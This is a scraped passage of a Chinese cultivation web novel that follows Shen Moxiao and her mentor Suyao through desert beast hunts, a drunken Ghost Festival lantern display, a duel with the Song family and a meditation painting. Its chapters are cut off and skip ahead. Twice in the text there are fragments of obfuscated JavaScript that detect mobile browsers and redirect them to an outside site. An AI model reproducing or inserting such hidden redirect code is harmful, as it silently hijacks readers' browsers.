此时她手中的妖兽内晶已经多达三十多枚,储物袋中全是各种可以入药炼器或贩卖的妖兽皮骨等物,四个小徒的储物袋也都塞满了各种好东西。 但沈莫笑眼中却并无多少喜色。这比她预想的内晶少太多了。这些天至少杀掉几百上千妖兽,才堪堪获得三十多枚妖晶,比之浩然门后山的爆率还要低。她之前还奇怪,大漠妖兽纵横,为何少有修士来此杀妖取晶,原来是没什么油水。 那些低阶妖兽的尸身虽然也可炼药炼器,但价值不高。而猎杀这些成群结队的妖兽,需要极高的修为,像她这样可以驱使沙狼取巧的人几乎没有。如若她是修士,宁愿闭关多修炼几日,也比来大漠得到的好处多。 妖晶太少,她便不能留下自用。将十多枚妖兽内晶分给头狼,沈莫笑便将二十枚内晶,连同储物袋一同送给了夙瑶。 夙瑶看着这份“惊喜”,眸光忽闪了几下,道:“此乃你与沙狼们舍命得来,我受之有愧。” “姐姐救我性命,助我修行,此恩没齿难忘,区区内晶,仅是一份心意,否则我如何安心跟随姐姐修行?” 骄阳灼热如火,少女的眸子比日光还要明亮,巴掌大的小脸上挂着零星血痕,笑容灿烂明媚,似是极为真诚。 定定看她半晌,夙瑶接过染血的储物袋,幽幽道:“你诱导我四个徒弟献宝,与我应下三日之约,让我带你来到大漠,为你护法,不就是为了得到这些妖晶加速修行?如今东西到手,你当真舍得送我?” 这话说的沈莫笑无言以对。 她诱导四名小徒献宝,对夙瑶应下三日之约,看似处处狼狈,实则早有算计。仙道修行不易,她仙基薄弱,又无法舔着脸向夙瑶索要灵丹妙药提升修为,便将算盘打到了这些大漠妖兽身上。 大漠中的灵气含量不低,却不能为普通修士所吸纳。其中蕴含的地火灵韵,暴烈无比,会灼伤修士经脉,伤动本源。但因地火灵韵而诞生出的妖兽,却能承载这暴烈的灵气。这些阳属性妖兽体内的内晶,基本可以被看做提纯的固体灵气,可以为修士所用。 十年间她无数次想要依靠沙狼杀妖取晶。无奈她修为日益衰竭,许多策略无法施展。之后又跟随夙瑶在竹林修行,难以出去,这想法便因此搁置。 沈莫笑心高气傲,断然不愿如此浪费光阴,便从四个小徒入手,骗取修行资源,后为夙瑶识破,便趁机设下连环计策。有夙瑶在旁护法,四名小徒帮忙杀妖,遇到再强大的妖兽她也能全身而退,便再也没有后顾之忧,驱使沙狼横扫大漠。 经此一事,夙瑶必不会再让他们闭门造车,日后历练机会大大增加,那便有她发挥的余地,更快筑基。 唯一算漏的就是,她的资质 21. 第 21 章 [] 炎国的风土人情,十年来沈莫笑也从沙狼口中得知不少,却也是第一次来到落金城以外的地方。左看看,又看看,哪里都稀奇,仿佛是第一次进城的土包子。四名小徒叽叽喳喳的品评着炎国风貌,不时跟竹林和俗世家里的宅院比较。 夙瑶带着他们,一边走,一边讲述炎国的情况,一行六人不多时来到了一个城池外。 望着那不算太高的城墙,夙瑶淡淡道:“炎国绿洲散落大漠,多数没有交接。那些零散的绿洲,大多自治,其中不乏散修占据城池,繁衍家族。只要征兵交税不曾怠慢,炎国皇室对此管束不多。而炎国的两大仙门,铸天门与极煞门,因炎国地理环境苛刻,收徒不易,也需要这些修仙家族有仙基的子弟入门修行,双方各取所需,是以修仙家族在炎国大行其道。明空城城主是我多年好友,也是一个修仙家族的族长。百余年经营,此地凡人与修仙者大多沾亲带故,是以仙凡混居颇为融洽。你们可在城中,将那些妖兽材料兑换,落日前来城主府即可。” 说罢,飘然而去。 四个小徒面面相觑,他们头一次来到炎国的城池,此前没有独自外出的经验,一时间不知该如何行事,都将目光投向了沈莫笑。 “夫子,哪里是兑换材料的地方?” “夫子,我饿了,哪里有吃的?” “夫子,那边有杂耍,我们去看看吧!” …… 几个没见过市面的小屁孩围着沈莫笑转,吵嚷个不停。沈莫笑一个头两个大,让这些家门都没出过的人独自在城中,恐怕会被坑骗的极惨。夙瑶倒也实在,她说帮她教徒,她就真的放心把几个徒弟扔给自己,都不带半点犹豫的。 沈莫笑叹息一声,领着几个小家伙去坊市兑换东西。这里的坊市跟太行山市颇为相似,不过都是以物易物,但也有硬通货,便如妖晶,基本在城中消费,都可以用妖晶购买。 区区一个绿洲上的城池,自然没法跟太行山市相比。沈莫笑带着他们转了几圈,才堪堪换到了一些用的上的东西,又靠着美貌嘴甜,白得了几个当地特产的美食,哄得四个小徒眉开眼笑,都很开心。 修仙者与凡人共存的城池,也有许多外界没有的风貌。在郑国,修仙者便是高不可攀的存在,人人畏惧敬重,奉为仙人。而在这里,修士却更为亲和,与凡人相处没有那么多架子,显然是混居多年,已经相互融合。 沈莫笑甚至看到有个花心修士,被两个凡人女子追了两条街,喊打喊杀,周围一片叫好之声。四名小徒看在眼中,道心有了一丝丝裂痕。 难得有机会出来,沈莫笑没有太早去寻夙瑶,带着小徒们瞎转悠了一会儿。七月将近,城中百姓早早筹办中元节,酒楼推出满鸭全席,大街小巷热闹非凡,有的售卖祭祖之物,有的艺人舞姬穿上法袍鬼衣当街杂耍。最惹眼的便是那些五颜六色的天灯。 中元节送天灯,祭鬼神,念旧人,盼相归。这是一代代传下来的规矩。 天灯各式各样,制作精巧,很是好看,尤其临近夜里,都被点亮,街头巷尾人流交错,人人提着盏天灯逛街,一派凡尘的烟火气息。几个小徒嚷嚷着要买灯,沈莫笑问过价格后,以凡物扰乱修行之名拒绝,惹得几个小家伙皱着包子脸,大声斥责她吝啬。 嘻嘻哈哈走了许久,几人注意到一处围满了人群,便好奇的凑上去看。 拨开人群,几人见到一位披麻戴孝,衣衫破破烂烂的少女跪在地上,大约有十二三岁年纪,是典型的炎国人长相,皮肤麦色,眼窝凹陷,五官精致中透着一股野性,一双大眼睛雾气朦胧,瞳孔漆黑如墨,怯生生的惹人怜爱。 少女小小年纪便有一种难以言说的媚意,无论男女,都不由自主被她吸引。 此刻少女尚有几分婴儿肥的脸上,布满泪痕,一副楚楚动人的模样。她身后立着一个牌子,上书“卖身葬村”,似乎学识不高,卖和葬字都写错了,歪歪扭扭,配不上少女的容貌气质。 周围议论的声音不绝于耳,沈莫笑几人听了一会儿,大概是说这少女所在的村子,被一歹毒修士屠光,她一路奔逃来到了明空城,想把自己卖了,好安葬村人。 原本这样凄苦无依,长相又好的少女,应该很有市场。但此女要价太高,非但要埋葬村里几十口,还要买下她的人,帮她报仇,杀掉那位屠村修士。 且不说那修士现在在哪里还不知道,便是真找到了人,也不知是何修为。修士一身本事,想要美人轻而易举,哪肯费心思帮一个不知来路的少女。 少女已经在此处跪了三天,除了一些想要骗人的地痞流氓,没有人想买她。这少女似乎也有几分能耐,竟能分辨对方是不是修士。明空城百姓还算仁厚,就算有人过来浑水摸鱼,也会有人帮忙驱赶,是以少女至今还安然无恙。 琴棋书画四人中,画意是唯一的男孩子,他见少女生得好看,又十分可怜,动了小男子汉的爱护之意,对沈莫笑道:“夫子,咱们帮帮她吧!你之前不是说为民除害,行侠仗义?那修士杀光了这位姐姐的村人,让她无家可归,是个大恶人,我们五人齐心协力,总能帮她报仇的!” 少年心如白纸,不通世间险恶,一番历练后便以为已经很厉害,天都能被他捅破,没什么是自己做不到的。 沈莫笑摇头道:“我且问你,你寻得到那屠村的修士吗?你知那修士修为几许,是不是我们可以应对?修士可以屠光村子,为何要留她一人活口,是否有所图谋,我们冒然出手,一无所知,岂不落入下乘?” 几个问题问的画意哑口无言,其余三个小徒也同时愣住,陷入思考。画意有些不甘心,道:“那我们便放着不管了吗?” “这世上所有事,都有因有果,凡人千千万,每个人心中都有悲苦,难道我们所有事都能管得?穷则独善其身,达则兼济天下,你若有侠义之心,便要像你的师父一样修为强大,否则,便审时度势,量力而 22. 第 22 章 [] 一杆长枪腾空而起,身着白衣的绝美女子踏枪而立,空荡荡的右臂随风飘扬,说不尽的写意潇洒。她一手举起酒坛,琼浆玉液倒灌入口,满眼朦胧醉意,面颊红潮翻涌。 一道愤怒之声咆哮而来,似有万千委屈饱含其中:“夙瑶,你又偷我酒喝!你你你,你赔我的千年佳酿!” 须臾间,一个衣着不凡的中年修士脚踏长剑,气势汹汹冲向那白衣美人。 白衣美人秀美轻挑,满脸不耐,喝道:“酒就是给人喝的,你要中元节宴请群修品酒,这酒别人喝得,我夙瑶怎就喝不得?” 但见长枪一转,枪尾划出一道气劲长痕,将那中年修士拍出老远。 周遭顿时响起一阵哄笑。 “是城主,上一次见他这么狼狈,还是被自家婆娘追着砍!” “他那虎婆娘修为比他高,脾气比他大,他还敢花心找女人,那不是找砍吗?” “莫要再说,小心城主夫人也追着你砍!哈哈哈……” …… 夙瑶一出现,沈莫笑心神便被吸引过去,再没分给那少女一分一毫。 明月姣姣,露出云层,踏枪而立的女子风采照人,与月色同辉。一杆枪,一坛酒,踏破滚滚红尘,欲与天公试比高。 烟花绽放,于漆黑天幕留下一朵朵五颜六色的炫光,夙瑶提着酒壶,仰头豪饮,不理身后千万光华,遗世独立。 夜空闪耀,纷纷灿烂如星陨,??喧豗似火攻。绚烂烟花本应是今晚最美的风景,却甘为陪衬,共为美人舞红尘。 如此美景,如此美人,何人能不自惭形秽,何人能不心生向往呢? 数道身影急急飞来,对那放浪形骸的美人道:“夙瑶,你快快停手,不要再喝了!你若是耍酒疯,明空城无人能阻你,你想生灵涂炭吗?” “聒噪!”长枪摇晃,美人眉目慵懒,醉醺醺飞起一脚。长风破浪,水墨如画,天穹墨竹飞舞,浩荡灵气翻涌澎湃,将那几名修士齐齐揍飞,不知去向。 周围的叫好声实在太大,沈莫笑耳膜都要被震碎,捂着耳朵看着夙瑶,又是敬畏,又是无奈。 六道金丹果然很强,沈莫笑自修行以来,从未看过未掐法诀,不念咒语便能施展这样强大术法的修士。她无奈的是,她这位姐姐明显是喝多了,长枪都摇摇晃晃,不知道什么时候就要掉下来。 她现在修为不济,立刻求助四个小徒。这几个小家伙看着师父在天上大展神威,一个个眼睛亮的惊人,拍手叫好,唯恐天下不乱的样子。 沈莫笑朝他们小脑袋上拍了拍,道:“姐姐喝醉了,我们去接她下来,你们谁会御空飞行?” 四个小徒这才反应过来,琴心弱弱道:“夫子,我,我会一点御剑术,就是不太熟。” “那还等什么,快些使出来!” 琴心拿出长剑,好一番念咒掐法诀,才终于将自己托了起来,道:“只能载两个人,多了就会掉下去!” 沈莫笑把着她的肩膀,见那飞剑摇摇欲坠的样子,对其他三人道:“我们去去就回,你们就在这里等着,不许乱跑。” 长剑腾空起,晃晃悠悠,似随时都要掉下来,沈莫笑头皮发麻,对琴心道:“你到底行不行啊?” “行!”琴心也有几分傲气,此刻听她质疑,立刻挺起胸膛,噌的一下加速。沈莫笑猝不及防,差点就被惯性甩下去,牢牢扣住她肩膀,才没有当众出丑。 飞剑若一叶随时被大海吞没的扁舟,载着一对少女飞向高空。颤颤巍巍,蛇形走位。 高空上那洒脱恣意的美人,遥望脚下人间烟火,醉眼跳动点点星光。 “今晚,我夙瑶,要这夜空为我一人点亮!” 一点浩然气,千里快哉风。白衣美人衣衫鼓荡,雄浑浩然正气铺撒满城,人们惊愕的发现,他们手中的天灯,不受控制的飞了起来,挣脱束缚,像入林的飞鸟一样飘向天际。沿街摆摊的店家手忙脚乱阻止自家彩灯飞舞,却徒劳无功,瘫坐在地,惨叫连连。 万千天灯腾空而起,灯火点亮夜空,围绕着夙瑶盘旋起舞,轮转不休。 星辰不再,月色渐隐,唯有那通亮的灯火映照苍穹,唯有那被灯火簇拥的美人恣意开怀。 无双美人豪情大笑,脸上红霞涌动,醉态毕现,美艳不可方物。 本欲再次阻止夙瑶的修士,遥遥看到这一幕,都不由停下了脚步。 这一晚,点亮夜空的美人,也点亮了无数人心中的明灯。 修真界固然弱肉强食,散修固然生存艰难,却总有人前赴后继奔向苍茫大道,不畏生死,不留归路。鲜血铺就的成仙之路上,多少人迷失方向,多少人惨死途中,所以他们渐渐忘却这路途上的美景,这争锋背后的甘甜。 夙瑶出身名门,向来不以高位自居,交友做事只凭意气,从心而动,肆意潇洒,正是有这样的人存在,那些心酸坎坷才变得没那么重要。修士就是要傲气凌云,豪气冲宵,洒脱自在,不将天地放在眼中,狂则狂矣,傲则傲矣,胸中若没点野性,又如何去争那大道,如何夺那天命? 一杆枪,一坛酒,白衣如雪,佳人独醉,人间至美,不过如是。 沈莫笑看到了毕生难忘的美景,凝望天际放肆纵情的美人,眼中难以掩饰那份惊艳与赞赏。天地骤然一静,唯有那天灯围绕的美人迎风大笑,狂态毕露,无人可忽视她的美,她的狂,她的意气与锋芒。 山河可破,日月无常,这幅美景却能长留人心,令古今天骄黯然失色。 她从未见过如此洒脱不羁的人,夙瑶便如真正混迹红尘的谪仙,不与凡离,又随时都可踏凡而去,消失在那青山云海,茫茫天外。 这样的人,这样的豪情气魄,当真只是个凡人吗? 四方被吸引而来的修士越来越多,却都驻足停留,不忍打扰美人醉酒。 明空城中,无数双眼睛看着那白衣佳人提酒大笑,心生向往。在人群之中,有两位气质不凡 23. 第 23 章 [] 夙瑶夹着酒坛子,手指点着沈莫笑的小脑门,哼道:“你哪里小了,说不定就是个老东西故意扮小孩,我早就看穿你了!” “是是是,我不小,我老东西。姐姐咱们别喝了,咱们回去睡觉吧。”沈莫笑哪肯与一个醉鬼辩驳,当下从善如流,不遗余力劝阻。 “你还想与我睡觉?”夙瑶秀眉倒竖,道:“不行,你还小,还不能跟我睡。” 那我到底是老是小啊?沈莫笑慢脑门都是汗,心想喝醉酒的夙瑶竟如此开放,这什么虎狼之词!果然醉鬼不可理喻。 夙瑶一点放过她的意思都没有,提着酒坛子道:“你要陪我喝酒,不许不喝!” “姐姐,我真的不会,唔……”沈莫笑被灌了一口千年陈酿,酒液一路滚烫进入脏器,全身都坠入岩浆中,烧的冒烟。 千年酿一坛,仙人醉青山。 这坛醉青山其烈无比,一口比沈莫笑当初喝的一缸酒都要醇厚浓郁,至于这酒的口感味道到底有多么绝妙,她已经感觉不到了。 一股热浪冲头,沈莫笑两眼发花,就要醉死过去。夙瑶手臂环着她不放,又给她灌了一口,口中念念有词:“你是我夙瑶的道侣,怎么可以不会喝酒,你要陪我喝,陪我喝很多年的酒……” 不知多少醉青山下肚,沈莫笑整个人从眩晕快要昏迷,到喝精神,不过是数息之间的事。 她揽着夙瑶的腰,小脸红彤彤的,似梦似醒,眼里是化不开的醉意,朦胧出一片雾霭晨光。 醉眼看世界,春秋日月长。视野之内,是满城烟火气,是寂寥月光,是满目星辰,是华灯高悬,是万里江河。 天地辽阔,美人在怀,醉酒当歌,人生几何? 沈莫笑胸中涌动一团烈火,燃起无限向往,似与天地融为一体,胸中意气不吐不快。 “美人,美酒,何故无诗焉?” “阿竹,你要为我作首诗吗?作的好了,我就跟你睡觉。” 遥望美人的众修士见一个绝色少女与夙瑶并肩而立,被她狂灌美酒,皆是猜测此人来历。 “好家伙,这回一个醉仙子还不够,又来了个小醉仙。” “此女容貌脱俗,骨龄虽小,艳色无双,不知是哪个仙门出来的天骄。” “我看她修为颇低,似乎刚刚练气,说不得是夙瑶新收的弟子。再过几年,修真界又会多一位绝世佳人。” …… 众人议论纷纷之际,忽而听到夙瑶那番虎狼之词,一时怔然。 “睡,睡觉?道,道侣?我怕是听错了?难道夙瑶钟爱女子?” “夙瑶哪会有什么道侣,只怕是醉的不轻。何况此女容貌虽美,修为却太低,如何配得上夙瑶这样倾世佳人?” “想那浩然门二长老诸葛青山苦追夙瑶多年,近水楼台还没得手,一个少女缘何能得她垂青,当然是醉了。” “这奇女子若是能对我说这么一句,我便是散了百年修为也值得了!” “呔,你个贼老头,你寿元将尽,散功之后回娘胎重塑吗?” …… 修士耳聪目明,在人群中遥望天穹佳人的两位修士,更是在凡间修为绝顶之辈,立刻便听到了夙瑶的那些话,脸上颇为古怪。 美艳妇人抿唇道:“昔日夙瑶醉酒,大闹花舫,扒了我那花魁女儿的外衫,送她一支剑舞。我那女儿至今都对她念念不忘,那时我便觉得她不太对。莫非真喜欢女的?” 中年儒士大惊失色,旋即道:“还有这等事?这样的美人都放在你们女人堆里自己消化了,还让我们男修怎么活?” “你有所不知……夙瑶此人素有侠名,交友不拘一格,其中不乏那喜欢女子的女修,还不止一个。她虽未传出什么风流韵事,但醉酒发狂之时,总要闹出一些惊人之举,别说男子,便是女子都顶不住。”美艳妇人眼珠一动,笑道:“她若是真喜欢女子,我那女儿便有了盼头了。” 中年儒士义正严词道:“不可!这等奇女子就应该属于天道,男女不爱!” 美艳妇人对此人的幼稚极为不屑,正要开口反驳,便听天上传来少女豪情满怀的吟诗之音。 “君不见,黄泉之水天上来,奔流到海不复回。君不见,高堂明镜悲白发,朝如青丝暮成雪。” 仅仅是这两句,众人便感觉头皮发麻,似有万千隆音在脑中盘旋响彻,隐隐有天道至理隐没其中。 黄泉海深处九幽,自然不可能从天而降,但诗中第二句,又勾画出一幅对镜自怜的老者形象。世事变迁有若青丝白雪,那本该属于九幽的黄泉,又为何不能从天上而来呢? 大道变幻莫测,天地法则也在不断改变。多少天骄为了执掌苍穹,不惜抛头颅,洒热血,穷一生之力,点燃大道长明火种。 这无情大道,苍茫天地,殒身了多少青丝化白雪的人杰呢? 众人心中震撼莫名,看向那开怀吟诗的少女,目光已有不同。 “人生得意须尽欢,莫使金樽空对月。天生我材必有用,千金散尽还复来。烹羊宰牛且为乐,会须一饮三百杯。”沈莫笑醉后狂态毕现,一把夺过夙瑶手中的酒坛子,仰头便喝! 周身一百零八个窍穴,因这千年一遇的灵酒,因这豪情满怀的诗句,瞬间显化而出,有若星图,半明半暗。 那被沈莫笑点亮的第一个窍穴,被灵酒灵韵冲刷,不断变亮,最后竟发出五彩之光,荡开周遭天灯,倏忽间化为一颗圆润星辰! “仙气化星,窍穴圆满,这便是虚空仙道弟子也不常见。这少女究竟是何人!” “你们看,那星辰中有悟道之力!” 众人仔细看去,见少女身躯浮现出的星图中,那一颗璀璨星辰,其上萦绕丝丝道韵,难以形容的威压激荡开来。这还不算,第二个窍穴隐隐亮起,似很快便要完全点亮。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|11091539|117624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 填膺,都想上场搓一搓对方的气焰。宋正廷落败之时,他们惊讶于少女的眼光和筹谋,也想要前去挑战,若是能战胜宋正廷都不能击败的对手,这无疑是受到家族重用的大好机会。但宋志然也败了之后,这种想法便烟消云散。 少女虽仅有练气一层的修为,但一身气息沉凝无比,明显是出自正统仙门,且一身力量更是恐怖惊人,比之武道体修毫不逊色。他们这些散修,便是练气中期,单凭灵气强弱,都不一定能击败对方。如果练气后期的人上场,少女肯定又要认输。练气中期上场,侥幸胜了还好,若是败了,也如宋志然那样成丧家之犬,被族长轻看,日后如何在家族立足? 能留在家族的修士,都是天赋不足以被正统仙门看上,只能靠着家族的资源培养努力修行。机遇若可成为祸事,便没必要做出头鸟了。 他们当然可以用练气后期的修士逼迫少女认输,最终让她避无可避,狼狈落败。但关键是,谁先上当炮灰,谁最后风光的击败少女?人人都有私心,都在等着别人当冤大头。 眼看族中子弟一个个低头不语,宋明空正要勃然大怒,人群中走出一位比沈莫笑还要小的女童。大概六七岁的样子,梳着冲天辫,小脸肉乎乎粉嫩嫩,煞是可爱,此刻她小拳头攥得死死的,奶声奶气道:“我要挑战你!你打伤了我哥哥,我要为他报仇!” 女童满脸婴儿肥,说话间两腮的软肉颤巍巍发抖,丝毫没有威慑力。沈莫笑眼角一抽,半晌无语。 她看得出来,这女童分明没有多少修为,只是气息绵长,不似普通人。应该是修行了打基础的导引术,可以引气入体,强化凡胎,但还没有突破练气。 女童出来后,宋家子弟尽皆尴尬掩面,宋明空更是老脸通红,恨不得找个地缝儿钻进去。 “宋晓禾,你不要胡闹,速速退去!” 女童宋晓禾插着小腰道:“是你刚刚说有没有人出来应战的,他们都不敢,我出来你又不让,这是什么道理?” 宋明空嘴角抽搐,道:“连练气中期的修士,都要败给这位小道友,你还没真正踏入修行,怎可不自量力过来挑战?你还嫌宋家丢的人不够多吗?” 宋晓禾小眉毛倒竖,丝毫没有被族长的气势压迫,挺起胸膛,振振有词:“小禾不懂那些大道理,也没到练气,可我的哥哥被人打哭了,我都不出来报仇,那不是更丢宋家的人?我只知道,做人要有勇气,就算输了也不能让人小瞧。今日我若败了,等我修行有成再来报仇,一次不行就十次,十次不成就百次,总有一天,我会替我哥哥出这口恶气!” 小小女童倨傲抬头,头上冲天辫一扬,端的是气势不凡。 30. 第 30 章 虽是无知者无畏,但童心赤诚,能有这样的勇气,倒是将一众宋家子弟都比了下去。眼见众人羞愧低头,宋明空对夙瑶道:“此女是景轩的妹妹,天赋甚为不俗,已被铸天门指定,下个月就要入门。我宋家百余年才出来这么个宝贝疙瘩,可惜正统仙门一句话,便要将她夺去。” 宋明空此言透着一股难言的寂寥,夙瑶心中感慨,却是无法劝说。能入正统仙门,对有仙基的凡人而言,是莫大荣耀,今后仙途坦荡,比一般散修境遇不知好了多少倍。但对于修仙家族而言,却是天大的损失。 只因炎国有不成文的规定,一入正统仙门,便与尘世隔离,再不可以家族子弟自居。日后若是有意偏袒家族,将受到仙门的严厉制裁。这自然是仙门为了巩固地位的举措,若每个修仙家族出身的子弟,都要为家族谋福,那仙门本身便沦为白白培育天骄的工具,没有任何好处可言。 炎国绿洲每年都在减少,若遇大的天灾,人口便会不增反减。本土两大仙门铸天门与极煞门,争抢有仙基的弟子,竞争强烈。修仙家族若想立足,便不得不依附仙门,每年进贡大量资源,还要将族中最优秀的子弟拱手相让。散修生存不易,修仙家族境遇要好一些,却也只是正统仙门的附庸,若有违逆之心,便会遭到仙门的打压。 曾有不少修仙家族奋起抵抗仙门的压迫,结果无一例外,都被打回原形,相继消失在历史长河中。 便是宋家这样,在炎国排得上前十的修仙家族,也不得不屈从正统仙门,毫无抵抗之力。宋明空中元节宴请各大修仙家族的族长和散修界大能,想要一齐对正统仙门施压,此举违逆仙门意志,是福是祸还很难说。 如今被她和阿竹搅合一通,联合之事恐怕要提前运作。夙瑶身为郑国浩然门弟子,对此没有发言权,也不能不顾及神魔九道之间的利益,私自维护宋家。 来日相见,不知宋明空夫妇境遇如何,此中沧桑变幻,也非她夙瑶一人可以扭转。 两人相顾无言,忽听场中一阵骚乱,随后便有孩童的大哭之声。声音震天响,饱含了莫大委屈,穿透耳膜尚有回音。 两人同时望去。只见少女阿竹正抓着宋晓禾的冲天辫,将小女童提在半空,一下一下狠狠揍她屁股,神色淡漠清冷,丝毫没有欺负小屁孩的羞耻。 那刚刚放出豪言壮语的女童,此刻双手舞动成影,好像长了一双翅膀,身子被打得来回摆动,一张小嘴张得老大,小嗓子在里面跳呀跳,口中哭喊撕心裂肺,要多凄惨有多凄惨。 眼见宋晓禾眼角的泪水都成了两道瀑布,宋明空心疼的直接跳起来,道:“快快放手!她还是个孩子!” 沈莫笑狠揍女童屁股的手没有停下,闻言道:“我只当此女是来挑战我的人,我要将她击败,维护姐姐清誉,有何不对?” 随后她转头望向凄惨无比的女童,淡淡道:“你可认输?” 宋晓禾愤然道:“不认!” 啪! “你可认输?” “不认!” 啪! “你可认输?” “不认!” 啪! …… 如此反复十几次,宋晓禾有气无力,却仍倔强不肯认输。宋明空终于忍无可忍,喝道:“够了!此次对决,我宋家甘愿认输,明日,你可与琴棋书画四人观摩三日晴空明月图。快将小禾放下,否则老夫饶你不得!” 沈莫笑谨慎问道:“那姐姐也可以不用嫁你了?” 宋明空老脸通红,拂袖道:“不嫁了!” 沈莫笑轻轻一笑,立马放手,宋晓禾一屁股摔在地上,红肿的小屁股传来无法形容的剧痛,登时一跳而起,狗爬式扑在地上,脑袋一歪,晕倒过去。 琴棋书画四人齐齐捂着屁股,小脸吓得惨白,心中暗道此后绝不可得罪夫子,这可是比师父还要恐怖的人物,连那么可爱的小孩都不放过,简直就是魔鬼。 宋家以这样的方式落败,宋明空脸上无光,立刻驱散众人。 待得所有人撤离演武场,宋明空一甩衣袍,对夙瑶道:“这就是你教出来的好徒弟!这就是你的好道侣!我收回先前的话,此女心肠歹毒,满脑子奸计,品行不端,为达目的不择手段,绝非善类,不可轻信!她,她欺人太甚,气煞我也!你若是不给我好好教训她,我跟你没完!” 又一口黑锅砸下来,夙瑶有些不堪重负,一手扶额,无言以对。 她算是看明白了。她这位小道侣根本就是求胜心切,见到场中跑出来个白给的,唯恐这对手跑了,立刻下手,将宋晓禾胖揍一顿增加胜率。至于后续宋明空阻止,她都没有停手,分明是看出来他对宋晓禾的重视程度,逼迫他主动认输。 从第一场开始到最后,所有的一切都在阿竹的掌握中,她从来没动用真正的实力。 取巧,羞辱,钻空子。能用脑袋解决的问题,她从不会让自己落入险地,始终留有余力。 结果确实是她想看到的,但别说宋明空,夙瑶自己都很想揍她。 她本以为游历诸国,见多了红尘,阅尽了仙凡,世上没有什么是她没见过的,可偏偏她的道侣就是个另类。每当她对阿竹有了几分期待,她总能给自己带来震撼。这震撼的方式每次都如此特别,让她难以评判。 这种事再来几次,她恐怕人品都要被败光,此地不宜久留,应当早些离去。 宋明空依旧在絮絮叨叨,发泄愤怒之情,夙瑶脚底抹油,飞一般逃离此地。 翌日,沈莫笑五人被安排进入宋家密室,观摩晴空明月图。 对于此图来历与效用,整整一日没见人影的夙瑶没有对他们提过,宋家子弟人人仇视沈莫笑,自然也不会说。 五人懵懵懂懂来到密室中,那带路之人狠狠瞪了一眼沈莫笑,交代几句,一甩衣袖就走了,留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|11091540|117624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面面相觑的五人。 静室之中有几个蒲团,几人坐好,看向眼前的屏风。 屏风上贴着一幅水墨画,画中多处破损,缺失许多内容,能清晰看到的仅仅是一轮挂在天边的皎洁明月。明月之下,雾霭朦胧,根本分不清什么东西,只是依着那似有若无的影子,可以推断出来,这是一方湖水。 沈莫笑凝眉看过片刻,竟一丝的玄机都看不出来,不由皱了皱眉。 夙瑶宁可以终身大事押注,换来观摩此图的机会,想必这幅简陋缺失的水墨画极为不凡。但上面分明没有半分灵韵,像是幅寻常的画。 她扫视其余四人,见他们也是一副不解的样子,开口问道:“你们可看出什么来?” 四人一起摇头,片刻后,琴心指着水墨画一角,道:“我觉得那里缺失的应该是一些芦苇,水中还有一点影子。” 沈莫笑顺着她的指点看去,发现确实如琴心所言,心思微动,她走到案桌前,在白纸上画上芦苇,撕成与缺失一角差不多的样子,以灵气将纸张附着在屏风上。 琴心顿时眼睛一亮,仔细观摩,片刻后呆滞不动,明显是有了感悟。沈莫笑没有打扰她,又将目光投向其他三人。 棋语抓耳挠腮,指着缺失一角道:“夫子,你看那里是不是应该有一朵云?” 沈莫笑看向明月,发现圆月一角似有朦胧云影,她立刻画上似有若无的云,放在屏风上。棋语浑身一震,也有了感悟。 过了很久,书墨与画意也提出了几个缺失画面的构想,沈莫笑反复画了几次,将画面补上。 四个小徒都有了感悟,一个个盯着水墨画一动不动。 缺失了诸多细节的画,被沈莫笑缝缝补补,终于勉强拼凑完整。她静静看了很久,也没能如四人一样得到感悟。 这是一幅很娴静的画,墨色勾勒出平静的湖面,芦苇丛生的水岸,皎洁明月高悬于空,点点流云漂浮天际,似有若无。整幅画仿佛被某种力量定格了一样,没有任何动的痕迹。 瞧着瞧着,沈莫笑看出了几分猫腻。自然界每一刻都在动,野外不存在绝对的静止,作画的人为何会画出这样一副绝对静止的作品,难道这不是自然界的景色? 一念及此,沈莫笑观摩更为专注,画上的每一个细节,都被她刻印在脑海里,大脑飞速运转,整个人如同雕像。 一日后,琴心与棋语醒转过来,眼中精芒四射,一身灵气鼓荡如潮,竟在这一日观想中获得领悟,修为提升,所学术法更为精研。 又一日,书墨也获得感悟,从中悟到一门身法秘术,对术法的理解更进一步,受益匪浅。 第三日,画意也从感悟中醒来,修为隐有进境,更是因画中静谧之景引发心绪上的变化,道心初成,仙基因此提升一个品级。 四人都得了莫大好处,唯有沈莫笑一人,仍然保持着原本的姿势,三日里一动不动。 31. 第 31 章 四人不敢打扰她,小脑袋聚在一起窃窃私语,探讨各自所得到的感悟。 少年人本就活泼,四人说着说着,声音便大了起来,更是因为都觉得自己领悟的东西是最好的,一言不合就互相嘲讽起来,隐隐就要干架。 沈莫笑观摩晴空明月图三天,耗光了不知多少脑细胞,眼中血丝密布,精神萎靡不振,却仍旧一无所获。 三日来不眠不休,高度集中精神力,强行领悟,用近乎自虐的方法让自己保持专注,沈莫笑的神经变得异常脆弱。耳边少年人争吵的声音越来越大,仿佛是压倒骆驼的最后一根稻草。她灵气暴走,胸口一闷,猛然吐出一口鲜血,正喷在那晴空明月图上。 鲜血污浊之下,水墨画产生异变,笔墨开始转变成血红之色,沈莫笑的鲜血,像是脉络一样在图上游走,转瞬间,血红的晕染布满整幅图,原本的静谧之景完全消失,只剩下或白或红的一片。 